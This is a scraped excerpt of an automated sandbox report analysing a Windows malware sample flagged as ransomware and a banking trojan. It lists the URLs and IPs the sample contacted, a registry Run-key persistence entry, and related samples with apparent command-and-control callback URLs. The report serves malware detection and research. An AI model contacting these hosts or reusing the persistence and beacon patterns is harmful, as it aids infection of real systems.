                                                                                                                                                                                                    https://monarchrentals.co.za/wp-content/plugins/featured-content-gallery/scripts/jd.gallery.transitisvchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                      high
                                                                                                                                                                                                      https://static.HugeDomains.com/images/hdv3-img/search-icon.pngsvchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                        high
                                                                                                                                                                                                        https://monarchrentals.co.za/wp-content/plugins/quick-and-easy-testimonials/public/css/quick-and-eassvchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                          high
                                                                                                                                                                                                          https://static.HugeDomains.com/js/hdv3-js/jquery.min.jssvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                            high
                                                                                                                                                                                                            https://monarchrentals.co.za/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                              high
                                                                                                                                                                                                              https://monarchrentals.co.za/wp-content/themes/realhomes/common/js/compare-properties.js?ver=3.13.1svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                high
                                                                                                                                                                                                                https://static.HugeDomains.com/css/hdv3-css/responsive.css?aa=2020-10-10svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                  high
                                                                                                                                                                                                                  https://monarchrentals.co.za/property-type/residential/svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                    high
                                                                                                                                                                                                                    https://monarchrentals.co.za/wp-includes/js/wp-embed.min.js?ver=5.7svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                      high
                                                                                                                                                                                                                      https://cdnjs.cloudflare.com/ajax/libs/jquery-easing/1.4.1/jquery.easing.compatibility.min.jssvchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                        high
                                                                                                                                                                                                                        https://monarchrentals.co.za/property-status/for-rent/svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                          high
                                                                                                                                                                                                                          https://monarchrentals.co.za/wp-content/themes/realhomes/common/optamize/vendors.css?ver=3.13.1svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                            high
                                                                                                                                                                                                                            https://static.HugeDomains.com/js/hdv3-js/intlTelInput.jssvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                              high
                                                                                                                                                                                                                              https://www.HugeDomains.com/privacy_policy.cfmsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                high
                                                                                                                                                                                                                                https://cdn.shopify.com/s/trekkie.storefront.205f91b45b7ac6f1738980e73dea86244fc0404d.min.jssvchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                  high
                                                                                                                                                                                                                                  https://monarchrentals.co.za/wp-includes/js/jquery/jquery.min.js?ver=3.5.1svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                    high
                                                                                                                                                                                                                                    https://schema.orgsvchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                      high
                                                                                                                                                                                                                                      https://www.HugeDomains.com/domain_valuations.cfmsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                        high
                                                                                                                                                                                                                                        https://cdn.shopify.com/shopifycloud/boomerang/shopify-boomerang-1.0.0.min.jssvchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                          high
                                                                                                                                                                                                                                          https://monarchrentals.co.za/property-type/first-floor-townhouse/svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmp, svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                            high
                                                                                                                                                                                                                                            https://www.HugeDomains.com/namebright.cfmsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                              high
                                                                                                                                                                                                                                              https://www.youtube.com/embed/9wCygJtW_SQ?rel=0&autoplay=0&showinfo=0&controls=0svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                high
                                                                                                                                                                                                                                                https://static.HugeDomains.com/images/hdv3-img/mail-icon.pngsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                  high
                                                                                                                                                                                                                                                  https://monarchrentals.co.za/property-type/cluster-home/svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                    high
                                                                                                                                                                                                                                                    https://monarchrentals.co.za/wp-includes/js/jquery/ui/core.min.js?ver=1.12.1svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                      high
                                                                                                                                                                                                                                                      https://monarchrentals.co.za/wp-content/plugins/mortgage-calculator/css/main.css?ver=screensvchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                        high
                                                                                                                                                                                                                                                        https://monorail-edge.shopifysvc.comsvchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                                                                                                                        unknown
                                                                                                                                                                                                                                                        https://static.HugeDomains.com/images/hdv3-img/hugedomains_logo.svgsvchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                          high
                                                                                                                                                                                                                                                          https://www.HugeDomains.com/domain_search.cfmsvchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                            high
                                                                                                                                                                                                                                                            https://www.youtube.com/channel/UCi1rl24o3vr0gFsgVumUsegsvchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                              high
                                                                                                                                                                                                                                                              https://monarchrentals.co.za/property-type/double-storey-cluster-home/svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmp, svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                                high
                                                                                                                                                                                                                                                                https://collector-6005.tvsquared.com/svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                                • Avira URL Cloud: safe
                                                                                                                                                                                                                                                                unknown
                                                                                                                                                                                                                                                                https://static.HugeDomains.com/images/hdv3-img/cart.pngsvchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                                  high
                                                                                                                                                                                                                                                                  https://static.HugeDomains.com/images/hdv3-img/present-section-ico-3.pngsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                                    high
                                                                                                                                                                                                                                                                    https://static.HugeDomains.com/css/hdv3-css/reboot.min.csssvchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                                      high
                                                                                                                                                                                                                                                                      https://static.HugeDomains.com/css/hdv3-css/style.css?aa=2020-10-10svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                                        high
                                                                                                                                                                                                                                                                        https://kit.fontawesome.com/83c69ecfbb.jssvchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                                          high
                                                                                                                                                                                                                                                                          https://www.HugeDomains.com/rjs/hdv3-rjs/contact.cfmsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                                            high
                                                                                                                                                                                                                                                                            https://yoast.com/wordpress/plugins/seo/svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                                              high
                                                                                                                                                                                                                                                                              https://www.HugeDomains.com/categories.cfmsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                                                high
                                                                                                                                                                                                                                                                                https://www.HugeDomains.com/domain_buying_process.cfmsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                                                  high
                                                                                                                                                                                                                                                                                  https://monarchrentals.co.za/#organizationsvchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                                                                                                    high

                                                                                                                                                                                                                                                                                    Contacted IPs

                                                                                                                                                                                                                                                                                    • No. of IPs < 25%
                                                                                                                                                                                                                                                                                    • 25% < No. of IPs < 50%
                                                                                                                                                                                                                                                                                    • 50% < No. of IPs < 75%
                                                                                                                                                                                                                                                                                    • 75% < No. of IPs

                                                                                                                                                                                                                                                                                    Public

                                                                                                                                                                                                                                                                                    IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                                                                                                    172.67.70.191
                                                                                                                                                                                                                                                                                    www.hugedomains.comUnited States
                                                                                                                                                                                                                                                                                    13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                                                                                                    103.224.212.220
                                                                                                                                                                                                                                                                                    kvnysoho.comAustralia
                                                                                                                                                                                                                                                                                    133618TRELLIAN-AS-APTrellianPtyLimitedAUtrue
                                                                                                                                                                                                                                                                                    136.243.138.29
                                                                                                                                                                                                                                                                                    epatio.plGermany
                                                                                                                                                                                                                                                                                    24940HETZNER-ASDEtrue
                                                                                                                                                                                                                                                                                    178.254.0.189
                                                                                                                                                                                                                                                                                    hausessen.comGermany
                                                                                                                                                                                                                                                                                    42730EVANZOASDEtrue
                                                                                                                                                                                                                                                                                    156.38.154.7
                                                                                                                                                                                                                                                                                    monarchrentals.co.zaSouth Africa
                                                                                                                                                                                                                                                                                    37153xneeloZAfalse
                                                                                                                                                                                                                                                                                    184.168.131.241
                                                                                                                                                                                                                                                                                    ignitethewinter.comUnited States
                                                                                                                                                                                                                                                                                    26496AS-26496-GO-DADDY-COM-LLCUStrue
                                                                                                                                                                                                                                                                                    209.151.150.34
                                                                                                                                                                                                                                                                                    gracilarias.orgUnited States
                                                                                                                                                                                                                                                                                    25697UPCLOUDUSAUStrue
                                                                                                                                                                                                                                                                                    157.240.17.35
                                                                                                                                                                                                                                                                                    star-mini.c10r.facebook.comUnited States
                                                                                                                                                                                                                                                                                    32934FACEBOOKUSfalse
                                                                                                                                                                                                                                                                                    3.223.115.185
                                                                                                                                                                                                                                                                                    HDRedirect-LB7-5a03e1c2772e1c9c.elb.us-east-1.amazonaws.comUnited States
                                                                                                                                                                                                                                                                                    14618AMAZON-AESUSfalse
                                                                                                                                                                                                                                                                                    50.63.172.241
                                                                                                                                                                                                                                                                                    ecommercecio.comUnited States
                                                                                                                                                                                                                                                                                    26496AS-26496-GO-DADDY-COM-LLCUStrue
                                                                                                                                                                                                                                                                                    208.80.122.2
                                                                                                                                                                                                                                                                                    mobilityconsignment.comUnited States
                                                                                                                                                                                                                                                                                    16552TIGGEEUStrue
                                                                                                                                                                                                                                                                                    187.141.74.3
                                                                                                                                                                                                                                                                                    web.yucatan.gob.mxMexico
                                                                                                                                                                                                                                                                                    8151UninetSAdeCVMXtrue
                                                                                                                                                                                                                                                                                    149.210.208.200
                                                                                                                                                                                                                                                                                    lvfrance.frNetherlands
                                                                                                                                                                                                                                                                                    20857TRANSIP-ASAmsterdamtheNetherlandsNLtrue
                                                                                                                                                                                                                                                                                    64.190.62.111
                                                                                                                                                                                                                                                                                    gamehub.inUnited States
                                                                                                                                                                                                                                                                                    11696NBS11696UStrue
                                                                                                                                                                                                                                                                                    80.82.29.137
                                                                                                                                                                                                                                                                                    mconnect.plPoland
                                                                                                                                                                                                                                                                                    42927S-NET-ASPLtrue
                                                                                                                                                                                                                                                                                    109.95.158.146
                                                                                                                                                                                                                                                                                    photho.plPoland
                                                                                                                                                                                                                                                                                    48896DHOSTING-ASWarsawPolandPLtrue
                                                                                                                                                                                                                                                                                    78.153.216.15
                                                                                                                                                                                                                                                                                    liftingandtransport.ieIreland
                                                                                                                                                                                                                                                                                    39122BLACKNIGHT-ASIEtrue
                                                                                                                                                                                                                                                                                    23.227.38.65
                                                                                                                                                                                                                                                                                    middletons.co.ukCanada
                                                                                                                                                                                                                                                                                    13335CLOUDFLARENETUStrue
                                                                                                                                                                                                                                                                                    81.88.57.88
                                                                                                                                                                                                                                                                                    ladiabetesnoesmilimite.comItaly
                                                                                                                                                                                                                                                                                    39729REGISTER-ASITtrue
                                                                                                                                                                                                                                                                                    67.227.226.240
                                                                                                                                                                                                                                                                                    iransun.netUnited States
                                                                                                                                                                                                                                                                                    32244LIQUIDWEBUStrue
                                                                                                                                                                                                                                                                                    103.29.196.181
                                                                                                                                                                                                                                                                                    krp.unud.ac.idIndonesia
                                                                                                                                                                                                                                                                                    58375UNUD-AS-IDUniversitasUdayanaIDtrue
                                                                                                                                                                                                                                                                                    97.74.232.166
                                                                                                                                                                                                                                                                                    mobilityclassifieds.comUnited States
                                                                                                                                                                                                                                                                                    26496AS-26496-GO-DADDY-COM-LLCUStrue
                                                                                                                                                                                                                                                                                    92.51.129.66
                                                                                                                                                                                                                                                                                    energieausweis-solingen.deGermany
                                                                                                                                                                                                                                                                                    8972GD-EMEA-DC-SXB1DEtrue
                                                                                                                                                                                                                                                                                    152.199.21.175
                                                                                                                                                                                                                                                                                    sni1gl.wpc.psicdn.netUnited States
                                                                                                                                                                                                                                                                                    15133EDGECASTUStrue
                                                                                                                                                                                                                                                                                    173.236.34.242
                                                                                                                                                                                                                                                                                    intermountainautoglass.comUnited States
                                                                                                                                                                                                                                                                                    32475SINGLEHOP-LLCUStrue

                                                                                                                                                                                                                                                                                    Private

                                                                                                                                                                                                                                                                                    IP
                                                                                                                                                                                                                                                                                    192.168.2.1

                                                                                                                                                                                                                                                                                    General Information

                                                                                                                                                                                                                                                                                    Joe Sandbox Version:31.0.0 Emerald
                                                                                                                                                                                                                                                                                    Analysis ID:373843
                                                                                                                                                                                                                                                                                    Start date:23.03.2021
                                                                                                                                                                                                                                                                                    Start time:11:32:25
                                                                                                                                                                                                                                                                                    Joe Sandbox Product:CloudBasic
                                                                                                                                                                                                                                                                                    Overall analysis duration:0h 11m 19s
                                                                                                                                                                                                                                                                                    Hypervisor based Inspection enabled:false
                                                                                                                                                                                                                                                                                    Report type:full
                                                                                                                                                                                                                                                                                    Sample file name:yx8DBT3r5r (renamed file extension from none to exe)
                                                                                                                                                                                                                                                                                    Cookbook file name:default.jbs
                                                                                                                                                                                                                                                                                    Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                                                                                                                                                    Number of analysed new started processes analysed:40
                                                                                                                                                                                                                                                                                    Number of new started drivers analysed:0
                                                                                                                                                                                                                                                                                    Number of existing processes analysed:0
                                                                                                                                                                                                                                                                                    Number of existing drivers analysed:0
                                                                                                                                                                                                                                                                                    Number of injected processes analysed:0
                                                                                                                                                                                                                                                                                    Technologies:
                                                                                                                                                                                                                                                                                    • HCA enabled
                                                                                                                                                                                                                                                                                    • EGA enabled
                                                                                                                                                                                                                                                                                    • HDC enabled
                                                                                                                                                                                                                                                                                    • AMSI enabled
                                                                                                                                                                                                                                                                                    Analysis Mode:default
                                                                                                                                                                                                                                                                                    Analysis stop reason:Timeout
                                                                                                                                                                                                                                                                                    Detection:MAL
                                                                                                                                                                                                                                                                                    Classification:mal100.rans.bank.troj.adwa.evad.winEXE@14/1@58/26
                                                                                                                                                                                                                                                                                    EGA Information:
                                                                                                                                                                                                                                                                                    • Successful, ratio: 100%
                                                                                                                                                                                                                                                                                    HDC Information:
                                                                                                                                                                                                                                                                                    • Successful, ratio: 90.2% (good quality ratio 89.9%)
                                                                                                                                                                                                                                                                                    • Quality average: 84.2%
                                                                                                                                                                                                                                                                                    • Quality standard deviation: 21.1%
                                                                                                                                                                                                                                                                                    HCA Information:
                                                                                                                                                                                                                                                                                    • Successful, ratio: 81%
                                                                                                                                                                                                                                                                                    • Number of executed functions: 80
                                                                                                                                                                                                                                                                                    • Number of non-executed functions: 5
                                                                                                                                                                                                                                                                                    Cookbook Comments:
                                                                                                                                                                                                                                                                                    • Adjust boot time
                                                                                                                                                                                                                                                                                    • Enable AMSI
                                                                                                                                                                                                                                                                                    Warnings:
                                                                                                                                                                                                                                                                                    Show All
                                                                                                                                                                                                                                                                                    • Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, backgroundTaskHost.exe, VSSVC.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe
                                                                                                                                                                                                                                                                                    • Excluded IPs from analysis (whitelisted): 13.64.90.137, 204.79.197.200, 13.107.21.200, 168.61.161.212, 104.43.139.144, 52.255.188.83, 13.88.21.125, 95.100.54.203, 104.42.151.234, 20.190.160.9, 20.190.160.7, 20.190.160.3, 20.190.160.131, 20.190.160.68, 20.190.160.133, 20.190.160.130, 20.190.160.5, 20.82.210.154, 20.54.26.129, 51.11.168.160, 23.10.249.26, 23.10.249.43, 52.155.217.156, 20.190.160.74, 20.190.160.72, 20.190.160.1, 20.49.150.241, 51.11.168.232, 40.127.240.158
                                                                                                                                                                                                                                                                                    • Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, settingsfd-prod-uks2-endpoint.trafficmanager.net, www.tm.lg.prod.aadmsa.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, www.tm.a.prd.aadg.trafficmanager.net, rovtyxb8n6.azureedge.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, login.live.com, www-bing-com.dual-a-0001.a-msedge.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, www.bing.com, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, skypedataprdcolwus17.cloudapp.net, fs.microsoft.com, dual-a-0001.a-msedge.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, displaycatalog.md.mp.microsoft.com.akadns.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, settings-win.data.microsoft.com, skypedataprdcolcus16.cloudapp.net, www.tm.a.prd.aadg.akadns.net, login.msa.msidentity.com, settingsfd-geo.trafficmanager.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, blobcollector.events.data.trafficmanager.net, rovtyxb8n6.ec.azureedge.net, skypedataprdcolwus15.cloudapp.net, skypedataprdcolwus16.cloudapp.net, ams1.current.a.prd.aadg.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net
                                                                                                                                                                                                                                                                                    • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                                                                                                    • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                                                                                                                                                                                                                                                                    • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                                                                                                                                                                                                                    • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                                                                                                    • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                                                                                                                    • Report size getting too big, too many NtQueryValueKey calls found.

                                                                                                                                                                                                                                                                                    Simulations

                                                                                                                                                                                                                                                                                    Behavior and APIs

                                                                                                                                                                                                                                                                                    TimeTypeDescription
                                                                                                                                                                                                                                                                                    11:33:20API Interceptor271x Sleep call for process: splwow64.exe modified
                                                                                                                                                                                                                                                                                    11:33:29AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 88e08d7ea C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe
                                                                                                                                                                                                                                                                                    11:33:30API Interceptor60x Sleep call for process: svchost.exe modified
                                                                                                                                                                                                                                                                                    11:33:38AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 88e08d7ea C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe

                                                                                                                                                                                                                                                                                    Joe Sandbox View / Context

                                                                                                                                                                                                                                                                                    IPs

                                                                                                                                                                                                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                                                                                                                                                    172.67.70.191Weekly Vacancy Status Report.xlsmGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                      Weekly Vacancy Status Report.xlsmGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                        Weekly Vacancy Status Report.xlsmGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                          pjevln.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                            baf6b9fcec491619b45c1dd7db56ad3d.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                              p8LV1eVFyO.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                https://imsva91-ctp.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2frb.gy%2fiqy61d&umid=8CB1AD75-B008-5405-A774-12C8BBC6D00D&auth=223f124b9888cf0f5ffdf3685bb9dec53a7cc7de-f774c6986fee5dd2c641379c38820ba60e6b3642Get hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                  900821.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    103.224.212.220FastDownload.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.premiumsave.info/installmate/php/track_installer_products.php
                                                                                                                                                                                                                                                                                                    Breve-Tufvassons sp.o.o.o Company Profile And Bout Us.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.floridapremierestates.com/utau/?Bb=hvLHMnt8_00&FZW42RP=0GAew6gAMmy7wZTXUoCRyObOPANIeGS2yPwbX0PNq+kmmXqt7uRcYA7Lv3IxMlWbqYDcq9qcfQ==
                                                                                                                                                                                                                                                                                                    PROFORMA C20201009.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.ennty.com/t4vo/?AdsdIhj=T2D4F6JwguKBUZ5S6SQbVzgK+h/PLJmJqrPSdYr1926l8barCuFU4DFVu13VBFUPoVEn&0rn=TN6xlffxOb
                                                                                                                                                                                                                                                                                                    136.243.138.29http://terapiaprogres.pl/WcaWg_YTIiF-PkXBnJrS/8Ez/Messages/022019/Get hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • terapiaprogres.pl/WcaWg_YTIiF-PkXBnJrS/8Ez/Messages/022019/
                                                                                                                                                                                                                                                                                                    184.168.131.241IMG001.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.fofo-app.com/gwam/?pPc=F3P0pUbdNsjReZNSC10fg4P35lTpHFGHPqn0Bkn8kaqBR5P4IoZTqUg1Qr5qGHjuepjk&Hp=V6ALd6rp
                                                                                                                                                                                                                                                                                                    PAYMENT_.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.1451ancona.com/o9st/?-Z1tJtH=exyEYNfMKacMQdwuNikoqStPdMxho5c1ltPxMiKx+VKf21BPAm45hsJIVA+nOW/DT9NdmIhBjQ==&-ZPl=1bdpal
                                                                                                                                                                                                                                                                                                    d3r3jm1oKY.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.neorugcleaning.com/nkt/?Cv8Lp=ggjNDwIdINpxItuBkyqriMqf+Gk1gVVOTm+X2WB6wV03xh+HhNvchHH/VOYQS+BB1JDpq5NiSw==&DxlLi=2dmH
                                                                                                                                                                                                                                                                                                    shippingdoc_pdf.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.accidentdocsnearme.com/u6ga/?OXb8b=A2Xdv9WN2+LdQC+0qMTQwgpRPVKnFJXJG2x3hJZYkQxt3qfC3XQ+6zjkwWH/7CiaCWgJ&Wxo=H0DPa8sx-tSpNx
                                                                                                                                                                                                                                                                                                    OC CVE9362 _TVOP-MIO 22(C) 2021,pdf.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.abbiescottdesigns.com/smzu/?sXUlfNy=/L17pK3B4eBU/EnF1S7jHApu0pgIWZe31gYo8KhgU3rrLCpqQcxotaE8k7IuAFEzeZff&D8cH=9r8tQzN8o24l6vY
                                                                                                                                                                                                                                                                                                    Po # 6-10331.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.receitaideal.com/8ufh/?P6=s5LX04r7SMus8IzFrrRcDOyTttGfxalXHV45y1gD5elcrW9LWvk1ASGM+RUQ4ms1BreRLu672Q==&1b=V6O8UVwhI
                                                                                                                                                                                                                                                                                                    KI985JJ3dtaZtda.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.creationwearable.com/usbi/?QtCdRR2=cC7hNYOP55HqfBF9t/5l4AvazpYdqauPuMqVKxz4Hd7fHe8DL42AX28Y2/LSEzE2KaSk&Ppd=_6g8XTD8yRLpJ
                                                                                                                                                                                                                                                                                                    NEW ORDER_PDF.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.nbacarstereos.com/s8ri/?Y2JpVVJ=U5wqNEFuB6FwzWusrNi644ASi9GEG6Gr19aKJBv4naPeHAfRC7mqH7Bziwm8IlLU/7MH&bl=UTChTb0hUjYl5Vd
                                                                                                                                                                                                                                                                                                    Rz9fvf4OTb.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.livesex-show.net/gts/?YB0x2ft8=UZMcy0wk1oycHKpAzBADFEQGV3jAvjNSojo+ia1lmbt/jw4A4zjS5B2akPAji6VIE145&Vr=LhnLH8Hph
                                                                                                                                                                                                                                                                                                    Doc.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.chrisbroussardtherapy.com/q8be/?jDHtm=E+oDiorKV9x0YU785eXntEI/X2SHF4tK602IdFAndP1lc8qAHAIwxAtNfwVUwKuJ5DQi&Wrg=4hnHMfUXP
                                                                                                                                                                                                                                                                                                    PROJ3144534685007.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.credmx.com/eddu/?OtNl4v=1mq2Dd8xGhA9z/K6qOcR0Ux2txEsnkhIjR97UdH5c9P+6Wn4i3oy+7pAKnEIOXfJGfdS6H/LVw==&W6=jnKtRlNPY
                                                                                                                                                                                                                                                                                                    v708469737489630001.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.canica-films.com/eddu/?-ZeTn0A=9sCx7WC4pdytuzejSOvbpJOrhlD3xJ1c9vUtVPJghwdxcLpEri9p02tCNzgymxpWsV0Q&2d=lnxh
                                                                                                                                                                                                                                                                                                    SPmG3TLdax.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.hikayemedya.com/smd0/?bl=GOmwBBTmQ5luxjkrXmNjyqcLvSsgQS1p0L8IuAXQQlzAi3ubR5RiPA28jXClcUUwgQGIk0kixQ==&Qzr=LlvxwBBX0PrT
                                                                                                                                                                                                                                                                                                    832rEedEl3.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.bukaino.net/nsag/?XrFHuD3X=oC6r1Hmbs+tY4/LFzQLXQ4VMDjeb3X29kqHwzrcBAOgLE2hkidwXlnaEijmWfX8ZkppF&Dzut_N=3fm4
                                                                                                                                                                                                                                                                                                    9V3LjvhSMb.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.ezbuydomain.com/jzvu/?jL04ln=GqXvLUxjlsceJG0U0rt0VvwB51UVaEfkxMlqVuahd/3+uuLeCumWNHS6RBcfg/nxgus7&p0D=mfTHKdP8fLydF
                                                                                                                                                                                                                                                                                                    Shipping Doc.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.419peachgrove.com/6axz/?Txl8=2R3PegEbNrWp8zfX1OW8Hw3ZFm4byujVXtEsU14kZFAipJB2voTRxpQu+0Y8ZNZ3JO+S&vP=mf5X
                                                                                                                                                                                                                                                                                                    Swift.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.tarawilliamsflrealtor.com/m0rc/?uRmX=QenV4VpAbVgQJJg873CmgMCNEfkRUOk3ePKUoGKr/bgYUQH28cresvi4gblMemozu+Z8&OjQl7x=8p70RHCX
                                                                                                                                                                                                                                                                                                    RDAW-180-47D.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                                    • www.madskeelproductions.com/fhg5/?OZiLRb=AnG0VF1hLTBpLbaP&k2Jdl2Q=nYfDJEXpNITuyJF9w2hL5t0cZGsAG7lV2/tP0bwfeFJUg2njEFhr51WnPPrRQvoSZnSo
